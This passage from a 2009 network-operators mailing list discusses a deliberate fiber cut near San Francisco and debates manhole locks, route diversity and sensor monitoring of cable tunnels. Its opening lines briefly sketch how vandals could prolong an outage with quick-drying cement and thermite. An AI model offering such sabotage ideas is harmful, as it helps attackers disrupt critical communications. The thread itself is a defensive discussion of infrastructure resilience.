out? I guess the only thing worse would be for the vandals to have a truckload of quick-drying cement with them; slice the fiber, dump quick-drying cement into the vault, pop the lid on, tamp thermite in the gap around the rim and flash weld it shut. Talk about creating an extended outage scenario. ^_^; From joel.mercado at verizon.net Mon Apr 13 11:27:46 2009 From: joel.mercado at verizon.net (joel.mercado at verizon.net) Date: Mon, 13 Apr 2009 16:27:46 +0000 Subject: Fiber cut in SF area In-Reply-To: <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net><6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: <880265086-1239640065-cardhu_decombobulator_blackberry.rim.net-1390875991-@bxe1264.bisx.prod.on.blackberry> It all comes down to money... It will cost them lots of it to get power and some type of readers installed to monitor manhole access... There has always been a lack of security on the telco side, this incident just brings it to light... In my town many of the verizon fios boxes are not locked and the wiring frame boxes for pots line neither.. Its all of a matter of how much cash they wanna throw at it... Sent on the Now Network? from my Sprint?? BlackBerry -----Original Message----- From: "Dylan Ebner" Date: Mon, 13 Apr 2009 09:57:30 To: Subject: RE: Fiber cut in SF area One thing that is missing here is before we can define "security" we need to define the "threat" and the "obstruction" the security creates. With an ATM machine, the threat is someone comes and steals the machine for the cash. The majority of the assailants in an ATM case are not interested in the access passwords, so that is not viewed as a threat by the bank. Then bank then says, "If we set really complicated passwords, our repair guys (or contractors) will not be able to fix them." So setting hard passwords is an obstruction. This happens every day, in every IT department in the world. So lets define the "Threat" to the fiber network? We know it isn't monetary as their isn't much value in selling cut sections of fiber. So that leaves out your typical ATM theif. That leaves us with directed attack, revenge or pure vandalism. In a directed attack or revenge scenario, which is what this case looks like, how are manhole locks going to help? If it is was the fiber union, wouldn't they already have the keys anyway? If this was some kind of terrorism scenario wouldn't they also have the resources to get the keys, either by getting employed by the phone company or the fiber union or any one of the other thousand companies that would need those keys? Manhole locks are just going to stop vandalism, and I think the threat to obstruction calculation just doesn't add up for that small level of isolated cases. Here in Qwest territory, manhole locks would be disasterours for repair times. We have had times when our MOE network has an outage and Qwest cannot fix the problem because their repair guys don't have the keys to their own buildings. Seriously. Their own buildings. Ultimately, what really needs to be addresses is the redundancy problem. And this needs to be addresses by everyone who was affected, not just ATT and Verizon, etc. A few years ago we had a site go down when a sprint DS-3 was cut. This was a major wake-up call for us because we had 2 t-1's for the site and they were suppose to have path divergence. And they did, up to the qwest CO where they handed off the circuit to sprint. In the end, we built in workflow redundancies so if any site goes down, we can still operate at near 100% capacity. My point is, it is getting harder and harder to gurantee path divergence and sometimes the redundancies need to be built into the workflow instead of IT. But that does't mean we cannot try. I remember during Katrima a datacenter in downtown New Orleans managed to stay online for the duration of disaster. These guys were on the ball and it paid off for them. In the end, as much as I like to blame the phone companies when we have problems, I also have to take some level of responsibility. And with each of these types of incidents we learn. For everyone affected, you now know even though you have two carriers, you do not have path divergence. And for everyone who colos at an affected Datacenter and get's your service from that center, you know they don't have divergence. So we need to ask ourselves, "where do we go from here?" It will be easier to get more divergence than secure all the manholes in the country. Dylan Ebner, Network Engineer Consulting Radiologists, Ltd. 1221 Nicollet Mall, Minneapolis, MN 55403 ph. 612.573.2236 fax. 612.573.2250 dylan.ebner at crlmed.com www.consultingradiologists.com -----Original Message----- From: Joe Greco [mailto:jgreco at ns.sol.net] Sent: Sunday, April 12, 2009 7:12 AM To: Mike Lewinski Cc: nanog at nanog.org Subject: Re: Fiber cut in SF area > > Joe Greco wrote: > > > My point was more the inverse, which is that a determined, equipped, > > and knowledgeable attacker is a very difficult thing to defend against. > > "The Untold Story of the World's Biggest Diamond Heist" published > recently in Wired was a good read on that subject: > > http://www.wired.com/politics/law/magazine/17-04/ff_diamonds Thanks, *excellent* example. > > Which brings me to a new point: if we accept that "security by > > obscurity is not security," then, what (practical thing) IS security? > > Obscurity as a principle works just fine provided the given token is > obscure enough. Of course, but I said "if we accept that". It was a challenge for the previous poster. ;-) > Ideally there are layers of "security by obscurity" so compromise of > any one token isn't enough by itself: my strong ssh password (1 layer > of obscurity) is protected by the ssh server key (2nd > layer) that is only accessible via vpn which has it's own encryption > key (3rd layer). The loss of my password alone doesn't get anyone anything. > The compromise of either the VPN or server ssh key (without already > having direct access to those systems) doesn't get them my password either. > > I think the problem is that the notion of "security by obscurity isn't > security" was originally meant to convey to software vendors "don't > rely on closed source to hide your bugs" and has since been mistakenly > applied beyond that narrow context. In most of our applications, some > form of obscurity is all we really have. That's really it, and bringing us back to the fiber discussion, we are forced, generally, to rely on obscurity. In general, talk to a hundred people on the street, few of them are likely to be able to tell you how fiber gets from one city to another, or that a single fiber may be carrying immense amounts of traffic. Most people expect that it just all works somehow. The fact that it's buried means that it is sufficiently inaccessible to most people. It will still be vulnerable to certain risks, including backhoes, anything else that disrupts the ground (freight derailments, earthquakes, etc), but those are all more or less natural hazards that you protect against with redundancy. The guy who has technical specifics about your fiber network, and who picks your vulnerable points and hits you with a hacksaw, that's just always going to be much more complex to defend against. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From andyring at inebraska.com Mon Apr 13 11:28:38 2009 From: andyring at inebraska.com (Andy Ringsmuth) Date: Mon, 13 Apr 2009 11:28:38 -0500 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: <6CDD1F02-1912-4406-8790-F48A94E3865C@inebraska.com> On Apr 13, 2009, at 11:12 AM, Mikael Abrahamsson wrote: >> Manhole locks are just going to stop vandalism, and I think the >> threat >> to obstruction calculation just doesn't add up for that small level >> of >> isolated cases. > > It doesn't stop it, it just makes it slightly harder, and they'll go > after another point. IMHO, I think manhole locks would only serve to HEIGHTEN the threat, not minimize it. Flag this under the whole "obscurity" category, but think about this - if you're a vandal itching to do something stupid, and you see a bunch of manhole covers and a couple of them have locks on them, which ones are you going to target? The ones with the locks, of course. Why? Because by the very existence of the locks, it implies there's something of considerable value beyond the lock. -Andy From mpetach at netflight.com Mon Apr 13 11:31:28 2009 From: mpetach at netflight.com (Matthew Petach) Date: Mon, 13 Apr 2009 09:31:28 -0700 Subject: Fiber cut in SF area In-Reply-To: <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: <63ac96a50904130931s2e05dd90r8c0fffb2a4849973@mail.gmail.com> On 4/13/09, Dylan Ebner wrote: > My point is, it is getting harder and harder to gurantee path divergence > and sometimes the redundancies need to be built into the workflow > instead of IT. Actually, in many ways it's getting easier; now, you can sign an NDA with your fiber providers and get GIS data for the fiber runs which you can pop into Google Earth, and verify path separation along the entire run; you put notification requirements into the contract stipulating that the fiber provider *must* notify you and provide updated GIS data if the path must be physically moved, and the move deviates the path by more than 50 feet from the previous GIS data; and you put escape clauses into the contract in case the re-routing of the fiber unavoidably reduces or eliminates your physical run diversity from your other providers. In years past, trying to overlay physical map printouts to validate path separation was a nightmare. Now, standardized GIS data formats make it a breeze. "protected rings" are a technology of the past. Don't count on your vendor to provide "redundancy" for you. Get two unprotected runs for half the cost each, from two different providers, and verify the path separation and diversity yourself with GIS data from the two providers; handle the failover yourself. That way, you *know* what your risks and potential impact scenarios are. It adds a bit of initial planning overhead, but in the long run, it generally costs a similar amount for two unprotected runs as it does to get a protected run, and you can plan your survival scenarios *much* better, including surviving things like one provider going under, work stoppages at one provider, etc. Sometimes a little bit of paranoia can help save your butt...or at least keep you out of the hot seat. Matt From dhetzel at gmail.com Mon Apr 13 11:32:16 2009 From: dhetzel at gmail.com (Dorn Hetzel) Date: Mon, 13 Apr 2009 12:32:16 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: <7db2dcf90904130932j1b2a9c36ye424b4eee6cd5be7@mail.gmail.com> I guess the next generation fiber networks will need to be installed with tunnel boring machines and just not surface anywhere except the endpoints :) After all, undersea cables get along just fine without convenient access along their length... On Mon, Apr 13, 2009 at 12:12 PM, Mikael Abrahamsson wrote: > On Mon, 13 Apr 2009, Dylan Ebner wrote: > > Manhole locks are just going to stop vandalism, and I think the threat >> to obstruction calculation just doesn't add up for that small level of >> isolated cases. >> > > It doesn't stop it, it just makes it slightly harder, and they'll go after > another point. > > > > This is the bay area as well... How long do you need to spend with a torch > to cut thru that? A couple of minutes? > > There is absolutely no way you can stop a determined attacker, and it would > increase cost a lot more than it's worth. Time is better spent stopping the > few people who actually do these kinds of things, same way as it's not worth > it for regular people to wear body armour all the time, just in case they > might get shot, or have parachutes and emergency exits that work in > mid-flight on commercial airliners. The various police agencies and the NTSB > cost less in a cost/benefit analysis. > > > -- > Mikael Abrahamsson email: swmike at swm.pp.se > > From jnegro at billtrust.com Mon Apr 13 11:37:06 2009 From: jnegro at billtrust.com (Jeffrey Negro) Date: Mon, 13 Apr 2009 12:37:06 -0400 Subject: Paetec MPLS + BGP solution opinions Message-ID: <3C5B084431653D4A9C469A22AFCDB5B9031E0F30@LOGAN.billtrust.local> Hi all - I was wondering if anyone could offer any opinions or share some experiences about Paetec, and more specifically their MPLS, BGP, and Network Firewall services. I just started at a new employer and they would like get into a more robust DR strategy involving both our locations and public services. They are suggesting that we use MPLS connections to their bandwidth infrastructure, and make use of their Network Firewall services as a front end for our public services. This way we can make use of their front end BGP without having to qualify for an ARIN allocation. I come from a company where we had our own diverse providers and had an ARIN allocation, so I have not used a managed solution like Paetec is offering. Any experience or comments would be greatly appreciated. Thank you, Jeffrey From dhetzel at gmail.com Mon Apr 13 11:43:47 2009 From: dhetzel at gmail.com (Dorn Hetzel) Date: Mon, 13 Apr 2009 12:43:47 -0400 Subject: Fiber cut in SF area In-Reply-To: <6CDD1F02-1912-4406-8790-F48A94E3865C@inebraska.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <6CDD1F02-1912-4406-8790-F48A94E3865C@inebraska.com> Message-ID: <7db2dcf90904130943s10c9b430v4d025967a1e2d3eb@mail.gmail.com> Or skip the locks and fill the manholes with sand. Then provide the service folks those big suction trucks to remove the sand for servicing :) On Mon, Apr 13, 2009 at 12:28 PM, Andy Ringsmuth wrote: > > On Apr 13, 2009, at 11:12 AM, Mikael Abrahamsson wrote: > > Manhole locks are just going to stop vandalism, and I think the threat >>> to obstruction calculation just doesn't add up for that small level of >>> isolated cases. >>> >> >> It doesn't stop it, it just makes it slightly harder, and they'll go after >> another point. >> > > IMHO, I think manhole locks would only serve to HEIGHTEN the threat, not > minimize it. Flag this under the whole "obscurity" category, but think > about this - if you're a vandal itching to do something stupid, and you see > a bunch of manhole covers and a couple of them have locks on them, which > ones are you going to target? The ones with the locks, of course. Why? > Because by the very existence of the locks, it implies there's something of > considerable value beyond the lock. > > > -Andy > > From streiner at cluebyfour.org Mon Apr 13 12:13:56 2009 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Mon, 13 Apr 2009 13:13:56 -0400 (EDT) Subject: Fiber cut in SF area In-Reply-To: <7db2dcf90904130932j1b2a9c36ye424b4eee6cd5be7@mail.gmail.com> References: <49E17DCE.9030605@rockynet.com> <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> <7db2dcf90904130932j1b2a9c36ye424b4eee6cd5be7@mail.gmail.com> Message-ID: On Mon, 13 Apr 2009, Dorn Hetzel wrote: > I guess the next generation fiber networks will need to be installed with > tunnel boring machines and just not surface anywhere except the endpoints > :) After all, undersea cables get along just fine without convenient > access along their length... Boat anchors and earthquakes do a pretty effective job of cutting submarine cables. jms From jcdill.lists at gmail.com Mon Apr 13 12:23:27 2009 From: jcdill.lists at gmail.com (JC Dill) Date: Mon, 13 Apr 2009 10:23:27 -0700 Subject: Cart and Horse In-Reply-To: References: <49E3550F.50304@gmail.com> <200904131121.51828.lowen@pari.edu> Message-ID: <49E3750F.5020109@gmail.com> Church, Charles wrote: > Wouldn't some authentication system be more useful than trying to lock > all the manholes? Picture a system maybe using RFID or some other radio > system where you walk up to manhole, wave your 'wand' (like a Mobil > Speedpass), you hear a couple beeps, and you're cleared to open the > manhole. Without authenticating, you can still get in, but the NOCs at > local utilities and telcos are notified, maybe police as well. If you > can tie access to a particular person's ID, I doubt that person will > misuse it. Get the guy drunk on Friday night, pickpocket his ID, cut fiber. > "Roy" wrote: >> A friend mentioned at dinner yesterday that he spotted several AT&T >> trucks next to manholes in the area affected by the fiber cut. They >> were busy welding the manhole covers to their rims. And now the security theater begins. jc From vegasnetman at gmail.com Mon Apr 13 12:35:14 2009 From: vegasnetman at gmail.com (Ozar) Date: Mon, 13 Apr 2009 10:35:14 -0700 Subject: Verizon BGP Contact Message-ID: <8cd002180904131035g6d750609i63df40dfcb1683e7@mail.gmail.com> Could someone from Verizon contact me off list? We are having some problems with a new turn up with 2 Gig Links, and tech support has not been much help over the last few days in trying to get this resolved. Thanks, Brian From beckman at angryox.com Mon Apr 13 13:18:54 2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 13 Apr 2009 14:18:54 -0400 Subject: Fiber cut in SF area In-Reply-To: <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: On Mon, 13 Apr 2009, Dylan Ebner wrote: > It will be easier to get more divergence than secure all the manholes in > the country. I still think skipping the securing of manholes and access points in favor of active monitoring with offsite access is a better solution. You can't keep people out, especially since these manholes and tunnels are designed FOR human access. But a better job can be done of monitoring and knowing what is going on in the tunnels and access points from a remote location. Cheap: light sensor + cell phone = knowing exactly when and where the amount of light in the tunnel changes. Detects unauthorized intrusions. Make sure to detect all visible and IR spectrum, should someone very determined use night vision and IR lights to disable the sensor. Mid-Range: Webcam + cell phone = SEEING what is going on plus everything above. High-end: Webcam + cell phone + wifi or wimax backup both watching the entrance and the tunnels. James Bond: Lasers. Active monitoring of each site makes sure each one is online. Pros: * Knowing immediately that there is a change in environment in your tunnels. * Knowing who or at least THAT something is in there * Being able to proactively mitigate attempts * Availability of Arduino, SIM card adapters, and sophisticated sensor and camera equipment at low cost Cons: * Cell provider outage or spectrum blocker removes live notifications * False positives are problematic and can lower monitoring thresholds * Initial expense of deployment of monitoring systems Farmers use tiny embedded devices on their farms to monitor moisture, rain, etc. in multiple locations to customize irrigation and to help avoid loss of crops. These devices communicate with themselves, eventually getting back to a main listening post which relays the information to the farmer's computers. Tiny, embedded, networked devices that monitor the environment in the tunnels that run our fiber to help avoid loss of critical communications services seems to be a good idea. Cheap, disposable devices that can communicate with each other as well as back to some HQ is a way to at least know about problems of access before they happen. No keys to lose, no technology keeping people out and causing repair problems. Some other things that could detect access problems: * Pressure sensors (maybe an open manhole causes a detectable change in air pressure in the tunnel) * Temperature sensors (placed near access points, detects welding and thermite use) * Audio monitor (can help determine if an alert is just a rat squealing or people talking -- could even be automated to detect certain types of noises) * IR (heat) motion detection, as long as giant rats/rodents aren't a problem * Humidity sensors (sell the data to weatherbug!) One last thought inspired by the guy who posted about pouring quick-set concrete in to slow repair. Get some heavy-duty bags, about 10 feet long and large enough to fill the space in the tunnel. More heavily secure the fiber runs directly around the access space, then inflate two bags on either side of the access point. Easily deflated, these devices also have an electronic device which can notify HQ that they are being deflated or the pressure inside is changing (indicating pushing or manipulation). That way you only need to put these bags at access points, not throughout the whole tunnel. Kinda low-tech, but could be effective. No keys needed, could be inflated/deflated quickly, and you still get notification back to a monitoring point. Beckman --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From izaac at setec.org Mon Apr 13 13:39:23 2009 From: izaac at setec.org (Izaac) Date: Mon, 13 Apr 2009 14:39:23 -0400 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: References: <200904111250.55796.lowen@pari.edu> <200904111843.n3BIhNfR035662@aurora.sol.net> <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> Message-ID: <20090413183914.GA1116@koltblut.setec.org> On Sun, Apr 12, 2009 at 03:37:00AM +0000, Paul Vixie wrote: > as long as the west's ideological opponents want terror rather than panic, > and also to inflict long term losses rather than short term losses, that's > true. in this light you can hopefully understand why bollards to protect > internet exchanges against truck bombs are not only penny wise pound foolish > (since the manholes a half mile away won't be hardened or monitored or even Of the two physical disaster scenarios, i.e. catastrophic destruction of a peering point or multiple long-line break, which do you think is the less costly -- in both time and treasure -- to remedy? It is acknowledged that the result of either is loss of service, but which is the more survivable event? In light of this, where would you focus your finite mitigation efforts? > locked) but also completely wrongheaded (since terrorists need publicity > which means they need their victims to be fully able to communicate.) Do you realize that you're putting trust in the sane action of parties who conclude their reasoning process with destruction and murder? -- . ___ ___ . . ___ . \ / |\ |\ \ . _\_ /__ |-\ |-\ \__ From chris.ranch at nokia.com Mon Apr 13 14:16:43 2009 From: chris.ranch at nokia.com (chris.ranch at nokia.com) Date: Mon, 13 Apr 2009 21:16:43 +0200 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: Peter Beckman [mailto:beckman at angryox.com] wrote: >Sent: Monday, April 13, 2009 11:19 AM >To: Dylan Ebner >Cc: nanog at nanog.org >Subject: RE: Fiber cut in SF area > >On Mon, 13 Apr 2009, Dylan Ebner wrote: > >> It will be easier to get more divergence than secure all the >> manholes in the country. > >I still think skipping the securing of manholes and access >points in favor of active monitoring with offsite access is a >better solution. The only thing missing from your plan was a cost analysis. Cost of each, plus operational costs, * however many of each type. How much would that be? Then amortize that out to our bills. Extra credit: would you pay for it? Chris From beckman at angryox.com Mon Apr 13 14:53:20 2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 13 Apr 2009 15:53:20 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: On Mon, 13 Apr 2009, chris.ranch at nokia.com wrote: > Peter Beckman [mailto:beckman at angryox.com] wrote: >> Sent: Monday, April 13, 2009 11:19 AM >> To: Dylan Ebner >> Cc: nanog at nanog.org >> Subject: RE: Fiber cut in SF area >> >> On Mon, 13 Apr 2009, Dylan Ebner wrote: >> >>> It will be easier to get more divergence than secure all the >>> manholes in the country. >> >> I still think skipping the securing of manholes and access >> points in favor of active monitoring with offsite access is a >> better solution. > > The only thing missing from your plan was a cost analysis. Cost of each, > plus operational costs, * however many of each type. How much would that > be? So, let's see. I'm pulling numbers out of my butt here, but basing it on non-quantity-discounted hardware available off the shelf. $500,000 to get it built with off-the-shelf components, tested in hostile tunnel environments and functioning. Then $350 per device, which would cover 1000 feet of tunnel, or about $2000 per mile for the devices. I'm not sure how things are powered in the tunnels, so power may need to be run, or the system could run off sealed-gel batteries (easily replaced and cheap, powers device for a year), system can be extremely low power. Add a communication device ($1000) every mile or two (the devices communicate between themselves back to the nearest communications device). Total cost, assuming 3 year life span of the device, is about $3000 per mile for equipment, or $1000 per year for equipment, plus $500 per year per mile for maintenance (batteries, service contracts, etc). Assumes your existing cost of tunnel maintenance can also either replace devices or batteries or both. Add a speedy roomba like RC device in the tunnel with an HD cam and a 10 or 20 mile range between charging stations that can move to the location where an anomaly was detected, and save some money on the per-device cost. It could run on an overhead monorail, or just wheels, depending on the tunnel configuration and moisture content. Add yet another system -- an alarm of sorts -- that goes off upon any anomaly being detected, and goes off after 5 minutes of no detection, to thwart teenagers and people who don't know how sophisticated the monitoring system really is. Put the alarm half way between access points, so it is difficult to get to and disable. Network it all, so that it can be controlled and updated from a certain set of IPs, make sure all changes are authenticated using PKI or certificates, and now you've made it harder to hack. Bonus points -- get a communication device that posts updates via SSL to multiple pre-programmed or random Confickr-type domains to make sure the system continues to be able to communicate in the event of a large outage. > Then amortize that out to our bills. Extra credit: would you pay for it? Assuming bills in the hundreds of thousands of dollars per month, maybe to the millions of dollars, and then figure out what an outage costs you according to the SLAs. Then figure out how much a breach and subsequent fiber cut costs you in SLA payouts or credits, multiply by 25%, and that's your budget. If the proposed system is less, why wouldn't you do it? The idea is inspired by the way Google does their datacenters -- use cheap, off-the-shelf hardware, network it together in smart ways, make it energy efficient, ... profit! Anyone want to invest? Maybe I should start the business. Beckman --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From surfer at mauigateway.com Mon Apr 13 15:00:59 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Mon, 13 Apr 2009 13:00:59 -0700 Subject: Fiber cut in SF area Message-ID: <20090413130059.8D697814@resin09.mta.everyone.net> --- beckman at angryox.com wrote: >> I still think skipping the securing of manholes and access >> points in favor of active monitoring with offsite access is a >> better solution. > > The only thing missing from your plan was a cost analysis. Cost of each, > plus operational costs, * however many of each type. How much would that > be? So, let's see. I'm pulling numbers out of my butt here, but basing it on non-quantity-discounted hardware available off the shelf. ----------------------------------------- Manpower to design, build, maintain, train folks and monitor in the NOC. Costs of EMS, its maintenance. blah, blah, blah... scott From beckman at angryox.com Mon Apr 13 15:12:29 2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 13 Apr 2009 16:12:29 -0400 Subject: Fiber cut in SF area In-Reply-To: <20090413130059.8D697814@resin09.mta.everyone.net> References: <20090413130059.8D697814@resin09.mta.everyone.net> Message-ID: On Mon, 13 Apr 2009, Scott Weeks wrote: > > > --- beckman at angryox.com wrote: > >>> I still think skipping the securing of manholes and access >>> points in favor of active monitoring with offsite access is a >>> better solution. >> >> The only thing missing from your plan was a cost analysis. Cost of each, >> plus operational costs, * however many of each type. How much would that >> be? > > So, let's see. I'm pulling numbers out of my butt here, but basing it on > non-quantity-discounted hardware available off the shelf. > ----------------------------------------- > > > Manpower to design, build, maintain, train folks and monitor in the NOC. > Costs of EMS, its maintenance. blah, blah, blah... My estimates are for getting something off the ground, equipment-wise, not operationally. What is the cost of the outages? And if this setup can detect un-reported backhoe activity via accelerometers BEFORE it slices through the cable and you can get someone out to investigate the activity before it gets cut, how much is that worth? And my estimate was for the hardware, not training, etc. I'm guessing existing NOCs can easily incorporate new SNMP traps or other methods of alerts into their system fairly easily. Beckman --------------------------------------------------------------------------- Peter Beckman Internet Guy beckman at angryox.com http://www.angryox.com/ --------------------------------------------------------------------------- From Crist.Clark at globalstar.com Mon Apr 13 15:53:00 2009 From: Crist.Clark at globalstar.com (Crist Clark) Date: Mon, 13 Apr 2009 13:53:00 -0700 Subject: Fiber cut in SF area In-Reply-To: References: <20090413130059.8D697814@resin09.mta.everyone.net> Message-ID: <49E343BA.33E4.0097.0@globalstar.com> >>> On 4/13/2009 at 1:12 PM, Peter Beckman wrote: > On Mon, 13 Apr 2009, Scott Weeks wrote: > >> >> >> --- beckman at angryox.com wrote: >> >>>> I still think skipping the securing of manholes and access >>>> points in favor of active monitoring with offsite access is a >>>> better solution. >>> >>> The only thing missing from your plan was a cost analysis. Cost of each, >>> plus operational costs, * however many of each type. How much would that >>> be? >> >> So, let's see. I'm pulling numbers out of my butt here, but basing it on >> non-quantity-discounted hardware available off the shelf. >> ----------------------------------------- >> >> >> Manpower to design, build, maintain, train folks and monitor in the NOC. >> Costs of EMS, its maintenance. blah, blah, blah... > > My estimates are for getting something off the ground, equipment-wise, not > operationally. > > What is the cost of the outages? But would alarms prevent any, or what proportion, of these incidents? >From what we know of this specific one, would an alarm have stopped the perpetrator(s)? It would have bought the NOC five, ten minutes tops before they got the alarm on the circuit. And in practice would a manhole alarm translate to a call to Homeland Security to have the SEALs descend the site pronto, a police unit to roll by when it has the time, or is it going to be an AT&T truck rolling by between calls? I'm guessing number two or three, probably three. So what would it get them in this case. If it doesn't deter these guys, who does it deter? And what are the costs of false alarms? What will the ratio of "real" alarms to false ones be? Maybe lower-stakes vandals take to popping the edge of manhole covers as a little prank. Or that one that triggers whenever a truck tire hits it right. Or the whole line of them that go off whenever the temperature drops below freezing. Or, what I am absolutely sure will happen, miscommunication between repair crews and the NOC about which ones are being moved or field crews opening them without warning the NOC (or even intra-NOC communication). Will they be a boy who cried wolf? From drp at murphy.com Mon Apr 13 13:31:37 2009 From: drp at murphy.com (David Prude) Date: Mon, 13 Apr 2009 14:31:37 -0400 Subject: RIM Mail Admin Contact Message-ID: <49E38509.6000604@murphy.com> Hello, If there is anyone from RIM who would be willing to contact me off list I would be most appreciative. Thank you, -David Prude -- David Prude System Administrator Murphy & Durieu (212)618-0320 From chris.ranch at nokia.com Mon Apr 13 16:25:54 2009 From: chris.ranch at nokia.com (chris.ranch at nokia.com) Date: Mon, 13 Apr 2009 23:25:54 +0200 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: Hi Peter, You wrote: > So, let's see. I'm pulling numbers out of my butt here, > Total cost...is about $3000 per mile for equipment > It could run on an overhead monorail > Network it all > Confickr-type domains to make sure I get the feeling you haven't deployed or operated large networks. You never did say what the multiplier was. How many miles or detection nodes there were. Think millions. The number that popped into my head when thinking of active detection measures for the physical network is $billions. Joel is right: the thing about the outdoors is there's a lot of it. The cost over time investment of copper and fiber communucations networks, power transmission networks, cable transmission networks is pretty well documented elsewhere. Google around a little for them. The investment is tremendous. All for a couple of minutes advanced notice of an outage? Would it reduce the risk? No. Would it reduce the MTBF or MTTR? No. Of all outages, how often does this scenario (or one that would trigger your alarm) occur? I'm sure it's down on the list. >> Then amortize that out to our bills. Extra credit: would >you pay for it? > > Assuming bills in the hundreds of thousands of dollars per >month, maybe to > the millions of dollars, and then figure out what an outage costs you > according to the SLAs. > > Then figure out how much a breach and subsequent fiber cut >costs you in > SLA payouts or credits, multiply by 25%, and that's your >budget. If the > proposed system is less, why wouldn't you do it? SLA's account for force de majure (including sabotage), so I really doubt there will be any credits. In fact, there will likely be an uptick on spending as those who really need nines build multi-provider multi-path diversity. Here come the microwave towers! > The idea is inspired by the way Google does their datacenters -- use > cheap, off-the-shelf hardware, network it together in smart >ways, make it > energy efficient, ... profit! Works great inside four walls. > Anyone want to invest? Maybe I should start the business. Nahh, I already have a web cam on my Smarties orb. What else do I really need? Chris From Valdis.Kletnieks at vt.edu Mon Apr 13 16:51:53 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 13 Apr 2009 17:51:53 -0400 Subject: [OT] Re: Fiber cut in SF area In-Reply-To: Your message of "Mon, 13 Apr 2009 14:39:23 EDT." <20090413183914.GA1116@koltblut.setec.org> References: <200904111250.55796.lowen@pari.edu> <200904111843.n3BIhNfR035662@aurora.sol.net> <75cb24520904111901j4ba65000s80c003d6b5c4a007@mail.gmail.com> <20090413183914.GA1116@koltblut.setec.org> Message-ID: <15841.1239659513@turing-police.cc.vt.edu> On Mon, 13 Apr 2009 14:39:23 EDT, Izaac said: > Do you realize that you're putting trust in the sane action of parties > who conclude their reasoning process with destruction and murder? And how is that different from a US general plotting destruction and the killing of enemy troops during an offensive? And yet we usually trust our generals and call them "sane". -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From beckman at angryox.com Mon Apr 13 16:54:49 2009 From: beckman at angryox.com (Peter Beckman) Date: Mon, 13 Apr 2009 17:54:49 -0400 Subject: Fiber cut in SF area In-Reply-To: References: <49E17DCE.9030605@rockynet.com> from "Mike Lewinski" at Apr 11, 2009 11:36:14 PM <200904121212.n3CCCCEs012209@aurora.sol.net> <6286FF05EBE33C4596F6C6C23762686701D77AE8@VS11.EXCHPROD.USA.NET> Message-ID: On Mon, 13 Apr 2009, chris.ranch at nokia.com wrote: > I get the feeling you haven't deployed or operated large networks. Nope. > You never did say what the multiplier was. How many miles or detection > nodes there were. Think millions. The number that popped into my head > when thinking of active detection measures for the physical network is > $billions. It depends on where you want to deploy it and how many miles you want to protect. I was thinking along the lines of $1.5 million for 1000 miles of tunnel, equipment only. It assumes existing maintenance crews would replace sensors that break or go offline, and that those expenses already exist. > All for a couple of minutes advanced notice of an outage? Would it > reduce the risk? No. Would it reduce the MTBF or MTTR? No. Of all > outages, how often does this scenario (or one that would trigger your > alarm) occur? I'm sure it's down on the list. What if you had 5 minutes of advanced notice that something was happening in or near 